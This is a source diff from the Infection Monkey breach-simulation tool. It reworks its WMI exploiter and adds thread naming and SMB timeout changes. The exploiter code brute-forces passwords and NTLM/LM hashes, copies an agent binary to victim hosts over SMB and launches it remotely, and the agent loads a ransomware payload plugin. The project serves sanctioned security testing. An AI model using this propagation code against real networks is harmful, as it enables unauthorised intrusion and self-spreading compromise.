diff --git a/CHANGELOG.md b/CHANGELOG.md index 9dda4c7f9..7ff3116df 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,6 +20,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). clearer instructions to the user and avoid confusion. #1684 - The process list collection system info collector to now be a post-breach action. #1697 - The "/api/monkey/download" endpoint to accept an OS and return a file. #1675 +- Log messages to contain human-readable thread names. #1766 ### Removed - VSFTPD exploiter. #1533 diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 5920d1883..63c8c5c3b 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -151,20 +151,6 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_ssh_keys) - def get_exploit_user_password_or_hash_product(self): - """ - Returns all combinations of the configurations users and passwords or lm/ntlm hashes - :return: - """ - cred_list = [] - for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]): - cred_list.append(cred) - for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list): - cred_list.append(cred) - for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]): - cred_list.append(cred) - return cred_list - @staticmethod def hash_sensitive_data(sensitive_data): """ @@ -189,7 +175,7 @@ class Configuration(object): aws_session_token = "" # smb/wmi exploiter - smb_download_timeout = 300 # timeout in seconds + smb_download_timeout = 30 # timeout in seconds smb_service_name = "InfectionMonkey" ########################### diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index df027255a..35c45c773 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -52,6 +52,7 @@ class SmbExploiter(HostExploiter): logger.info("Can't find suitable monkey executable for host %r", self.host) return False + # TODO use infectionmonkey.utils.brute_force creds = self._config.get_exploit_user_password_or_hash_product() exploited = False diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 84e1b7e8b..6cbb16780 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -1,6 +1,7 @@ import logging import ntpath import pprint +from io import BytesIO from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 @@ -17,10 +18,16 @@ logger = logging.getLogger(__name__) class SmbTools(object): @staticmethod def copy_file( - host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 + host, + agent_file: BytesIO, + dst_path, + username, + password, + lm_hash="", + ntlm_hash="", + timeout=60, ): - # monkeyfs has been removed. Fix this in issue #1741 - # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + # TODO assess the 60 second timeout smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -138,21 +145,15 @@ class SmbTools(object): remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) try: - # monkeyfs has been removed. Fix this in issue #1741 - """ - with monkeyfs.open(src_path, "rb") as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) - """ + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, agent_file.read) file_uploaded = True T1105Telem( ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path ).send() logger.info( - "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, + "Copied monkey agent to remote share '%s' [%s] on victim %r", share_name, share_path, host, diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 078d37daa..30ae59107 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -1,4 +1,5 @@ import logging +import threading from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError @@ -8,6 +9,12 @@ from impacket.dcerpc.v5.dtypes import NULL logger = logging.getLogger(__name__) +# Due to the limitations of impacket library we should only run one WmiConnection at a time +# Use impacket_user decorator to ensure that no race conditions are happening +# See comments in https://github.com/guardicore/monkey/pull/1766 +lock = threading.Lock() + + class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__( @@ -17,6 +24,15 @@ class AccessDeniedException(Exception): class WmiTools(object): + + @staticmethod + def impacket_user(func): + def _wrapper(*args, **kwarg): + with lock: + return func(*args, **kwarg) + + return _wrapper + class WmiConnection(object): def __init__(self): self._dcom = None @@ -88,7 +104,7 @@ class WmiTools(object): for port_map in list(DCOMConnection.PORTMAPS.keys()): del DCOMConnection.PORTMAPS[port_map] for oid_set in list(DCOMConnection.OID_SET.keys()): - del DCOMConnection.OID_SET[port_map] + del DCOMConnection.OID_SET[oid_set] DCOMConnection.OID_SET = {} DCOMConnection.PORTMAPS = {} diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 54095d1e7..4c6fcc70f 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -7,10 +7,14 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.brute_force import ( + generate_brute_force_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -21,30 +25,15 @@ class WmiExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" - def __init__(self, host): - super(WmiExploiter, self).__init__(host) - + @WmiTools.impacket_user @WmiTools.dcom_wrap - def _exploit_host(self): - src_path = get_target_monkey(self.host) + def _exploit_host(self) -> ExploiterResultData: - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - creds = self._config.get_exploit_user_password_or_hash_product() + creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: - password_hashed = self._config.hash_sensitive_data(password) - lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) - ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = ( - "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " - "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) - ) - logger.debug( - ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging - ) + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") wmi_connection = WmiTools.WmiConnection() @@ -52,72 +41,69 @@ class WmiExploiter(HostExploiter): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - logger.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging - ) + logger.debug(f"Failed connecting to {self.host} using WMI") continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - logger.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging - ) + logger.debug(f"Failed connecting to {self.host} using WMI") continue + except socket.error: - logger.debug( - ("Network error in WMI connection to %r with " % self.host) + creds_for_logging - ) - return False + logger.debug(f"Network error in WMI connection to {self.host}") + return self.exploit_result + except Exception as exc: logger.debug( - ("Unknown WMI connection error to %r with " % self.host) - + creds_for_logging - + (" (%s):\n%s" % (exc, traceback.format_exc())) + f"Unknown WMI connection error to {self.host}: " + f"{exc} {traceback.format_exc()}" ) - return False + return self.exploit_result self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) + self.exploit_result.exploitation_success = True # query process list and check if monkey already running on victim process_list = WmiTools.list_object( wmi_connection, "Win32_Process", fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1], + where=f"Name='{ntpath.split(self.options['dropper_target_path_win_64'])[-1]}'", ) if process_list: wmi_connection.close() logger.debug("Skipping %r - already infected", self.host) - return False + return self.exploit_result + + downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) - # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + downloaded_agent, + self.options["dropper_target_path_win_64"], user, password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if not remote_full_path: wmi_connection.close() - return False + return self.exploit_result # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + elif remote_full_path.lower() != self.options["dropper_target_path_win_64"]: cmdline = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, - self._config.dropper_target_path_win_32, + self.current_depth - 1, + self.options["dropper_target_path_win_64"], ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, get_monkey_depth() - 1) + } + build_monkey_commandline(self.host, self.current_depth - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( @@ -134,7 +120,7 @@ class WmiExploiter(HostExploiter): ) self.add_vuln_port(port="unknown") - success = True + self.exploit_result.propagation_success = True else: logger.debug( "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " @@ -145,11 +131,10 @@ class WmiExploiter(HostExploiter): result.ReturnValue, cmdline, ) - success = False result.RemRelease() wmi_connection.close() self.add_executed_cmd(cmdline) - return success + return self.exploit_result - return False + return self.exploit_result diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index d6edfaec2..9388d5431 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -25,7 +25,7 @@ LOG_CONFIG = { "disable_existing_loggers": False, "formatters": { "standard": { - "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" + "format": "%(asctime)s [%(process)d:%(threadName)s:%(levelname)s] %(module)s.%(" "funcName)s.%(lineno)d: %(message)s" }, }, diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 51627d728..edc922fa2 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -55,8 +55,12 @@ class AutomatedMaster(IMaster): ) self._stop = threading.Event() - self._master_thread = create_daemon_thread(target=self._run_master_thread) - self._simulation_thread = create_daemon_thread(target=self._run_simulation) + self._master_thread = create_daemon_thread( + target=self._run_master_thread, name="AutomatedMasterThread" + ) + self._simulation_thread = create_daemon_thread( + target=self._run_simulation, name="SimulationThread" + ) def start(self): logger.info("Starting automated breach and attack simulation") @@ -144,6 +148,7 @@ class AutomatedMaster(IMaster): credential_collector_thread = create_daemon_thread( target=self._run_plugins, + name="CredentialCollectorThread", args=( config["credential_collector_classes"], "credential collector", @@ -152,6 +157,7 @@ class AutomatedMaster(IMaster): ) pba_thread = create_daemon_thread( target=self._run_plugins, + name="PBAThread", args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), ) @@ -172,6 +178,7 @@ class AutomatedMaster(IMaster): payload_thread = create_daemon_thread( target=self._run_plugins, + name="PayloadThread", args=(config["payloads"].items(), "payload", self._run_payload), ) payload_thread.start() diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index b2049eb38..c2c00c1ef 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -54,7 +54,10 @@ class Exploiter: stop, ) run_worker_threads( - target=self._exploit_hosts_on_queue, args=exploit_args, num_workers=self._num_workers + target=self._exploit_hosts_on_queue, + name_prefix="ExploiterThread", + args=exploit_args, + num_workers=self._num_workers, ) @staticmethod diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index ee474ab49..a24b136aa 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -42,7 +42,10 @@ class IPScanner: scan_ips_args = (addresses, options, results_callback, stop) run_worker_threads( - target=self._scan_addresses, args=scan_ips_args, num_workers=self._num_workers + target=self._scan_addresses, + name_prefix="ScanThread", + args=scan_ips_args, + num_workers=self._num_workers, ) def _scan_addresses( diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 4ed86cd32..be4d6caf2 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -46,10 +46,11 @@ class Propagator: self._hosts_to_exploit = Queue() scan_thread = create_daemon_thread( - target=self._scan_network, args=(propagation_config, stop) + target=self._scan_network, name="PropagatorScanThread", args=(propagation_config, stop) ) exploit_thread = create_daemon_thread( target=self._exploit_hosts, + name="PropagatorExploitThread", args=(propagation_config, current_depth, network_scan_completed, stop), ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index db32c9703..218b0e92a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -212,17 +213,14 @@ class InfectionMonkey: ) exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repository) - puppet.load_plugin( - "SSHExploiter", - exploit_wrapper.wrap(SSHExploiter), - PluginType.EXPLOITER, - ) puppet.load_plugin( "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER ) puppet.load_plugin( "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER ) + puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) + puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 769260d6b..b0f778534 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -126,7 +126,7 @@ class MonkeyTunnel(Thread): self._stopped = Event() self._clients = [] self.local_port = None - super(MonkeyTunnel, self).__init__() + super(MonkeyTunnel, self).__init__(name="MonkeyTunnelThread") self.daemon = True self.l_ips = None self._wait_for_exploited_machines = Event() diff --git a/monkey/infection_monkey/utils/aws_environment_check.py b/monkey/infection_monkey/utils/aws_environment_check.py index 31ff40186..aa60e0a55 100644 --- a/monkey/infection_monkey/utils/aws_environment_check.py +++ b/monkey/infection_monkey/utils/aws_environment_check.py @@ -29,6 +29,6 @@ def _report_aws_environment(telemetry_messenger: LegacyTelemetryMessengerAdapter def run_aws_environment_check(telemetry_messenger: LegacyTelemetryMessengerAdapter): logger.info("AWS environment check initiated.") aws_environment_thread = create_daemon_thread( - target=_report_aws_environment, args=(telemetry_messenger,) + target=_report_aws_environment, name="AWSEnvironmentThread", args=(telemetry_messenger,) ) aws_environment_thread.start() diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index 192905aa8..793ab655f 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -1,5 +1,5 @@ from itertools import chain, product -from typing import Any, Iterable, Tuple +from typing import Any, Iterable, List, Mapping, Sequence, Tuple def generate_identity_secret_pairs( @@ -38,3 +38,25 @@ def generate_username_password_or_ntlm_hash_combinations( product(usernames, [""], lm_hashes, [""]), product(usernames, [""], [""], nt_hashes), ) + + +def generate_brute_force_combinations(credentials: Mapping[str, Sequence[str]]): + return generate_username_password_or_ntlm_hash_combinations( + usernames=credentials["exploit_user_list"], + passwords=credentials["exploit_password_list"], + lm_hashes=credentials["exploit_lm_hash_list"], + nt_hashes=credentials["exploit_ntlm_hash_list"], + ) + + +# Expects a list of username, password, lm hash and nt hash in that order +def get_credential_string(creds: List) -> str: + cred_strs = [ + (creds[0], "username"), + (creds[1], "password"), + (creds[2], "lm hash"), + (creds[3], "nt hash"), + ] + + present_creds = [cred[1] for cred in cred_strs if cred[0]] + return ", ".join(present_creds) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index 54bc469be..70f48bbe9 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -1,14 +1,22 @@ import logging +from itertools import count from threading import Event, Thread from typing import Any, Callable, Iterable, Tuple logger = logging.getLogger(__name__) -def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_workers: int = 2): +def run_worker_threads( + target: Callable[..., None], + name_prefix: str, + args: Tuple = (), + num_workers: int = 2, +): worker_threads = [] + counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1)) for i in range(0, num_workers): - t = create_daemon_thread(target=target, args=args) + name = f"{name_prefix}-{next(counter)}" + t = create_daemon_thread(target=target, name=name, args=args) t.start() worker_threads.append(t) @@ -16,8 +24,11 @@ def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_worker t.join() -def create_daemon_thread(target: Callable[..., None], args: Tuple = ()) -> Thread: - return Thread(target=target, args=args, daemon=True) +run_worker_threads.counters = {} + + +def create_daemon_thread(target: Callable[..., None], name: str, args: Tuple = ()) -> Thread: + return Thread(target=target, name=name, args=args, daemon=True) def interruptable_iter( diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 94c4e96ec..f90df6847 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -629,4 +629,18 @@ class ConfigService: config.pop(flat_config_exploiter_classes_field, None) - return formatted_exploiters_config + return ConfigService._add_smb_download_timeout_to_exploiters( + config, formatted_exploiters_config + ) + + @staticmethod + def _add_smb_download_timeout_to_exploiters( + flat_config: Dict, formatted_config: Dict + ) -> Dict[str, List[Dict[str, Any]]]: + new_config = copy.deepcopy(formatted_config) + uses_smb_timeout = {"SmbExploiter", "WmiExploiter"} + + for exploiter in filter(lambda e: e["name"] in uses_smb_timeout, new_config["brute_force"]): + exploiter["options"]["smb_download_timeout"] = flat_config["smb_download_timeout"] + + return new_config diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index d25856b39..45b76dd23 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -252,7 +252,7 @@ INTERNAL = { "smb_download_timeout": { "title": "SMB download timeout", "type": "integer", - "default": 300, + "default": 30, "description": "Timeout (in seconds) for SMB download operation (used in " "various exploits using SMB)", }, diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 659fc7205..915099f04 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -1,14 +1,23 @@ import logging -from threading import Event +from threading import Event, current_thread -from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter +from infection_monkey.utils.threading import ( + create_daemon_thread, + interruptable_iter, + run_worker_threads, +) def test_create_daemon_thread(): - thread = create_daemon_thread(lambda: None) + thread = create_daemon_thread(lambda: None, name="test") assert thread.daemon +def test_create_daemon_thread_naming(): + thread = create_daemon_thread(lambda: None, name="test") + assert thread.name == "test" + + def test_interruptable_iter(): interrupt = Event() items_from_iterator = [] @@ -45,3 +54,22 @@ def test_interruptable_iter_interrupted_before_used(): items_from_iterator.append(i) assert not items_from_iterator + + +def test_worker_thread_names(): + thread_names = set() + + def add_thread_name_to_list(): + thread_names.add(current_thread().name) + + run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) + run_worker_threads(target=add_thread_name_to_list, name_prefix="B", num_workers=2) + run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) + + assert "A-1" in thread_names + assert "A-2" in thread_names + assert "A-3" in thread_names + assert "A-4" in thread_names + assert "B-1" in thread_names + assert "B-2" in thread_names + assert len(thread_names) == 6 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index d8391717e..72dafd168 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -180,8 +180,8 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): {"name": "MSSQLExploiter", "options": {}}, {"name": "PowerShellExploiter", "options": {}}, {"name": "SSHExploiter", "options": {}}, - {"name": "SmbExploiter", "options": {}}, - {"name": "WmiExploiter", "options": {}}, + {"name": "SmbExploiter", "options": {"smb_download_timeout": 300}}, + {"name": "WmiExploiter", "options": {"smb_download_timeout": 300}}, ], "vulnerability": [ {"name": "DrupalExploiter", "options": {}},